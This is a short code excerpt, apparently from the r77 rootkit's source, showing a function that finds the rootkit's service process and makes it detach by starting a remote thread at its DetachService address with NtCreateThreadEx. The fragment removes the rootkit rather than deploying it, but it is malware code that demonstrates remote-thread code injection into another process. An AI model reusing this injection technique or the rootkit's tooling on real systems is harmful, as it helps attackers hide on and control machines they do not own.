Function DetachR77Service

r77api/r77process.c:232–263

	FREE(r77Processes);
}
BOOL DetachR77Service()
{
	BOOL result = FALSE;
	PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000);
	DWORD r77ProcessCount = 1000;

	if (GetR77Processes(r77Processes, &r77ProcessCount))
	{
		for (DWORD i = 0; i < r77ProcessCount; i++)
		{
			if (r77Processes[i].Signature == R77_SERVICE_SIGNATURE)
			{
				HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, r77Processes[i].ProcessId);
				if (process)
				{
					// R77_PROCESS.DetachAddress is a function pointer to DetachService()
					HANDLE thread = NULL;
					if (NT_SUCCESS(R77_NtCreateThreadEx(&thread, 0x1fffff, NULL, process, (LPVOID)r77Processes[i].DetachAddress, NULL, 0, 0, 0, 0, NULL)))
					{
						result = TRUE;
						CloseHandle(thread);
					}

					CloseHandle(process);
				}
			}
		}
	}

	FREE(r77Processes);
	return result;
}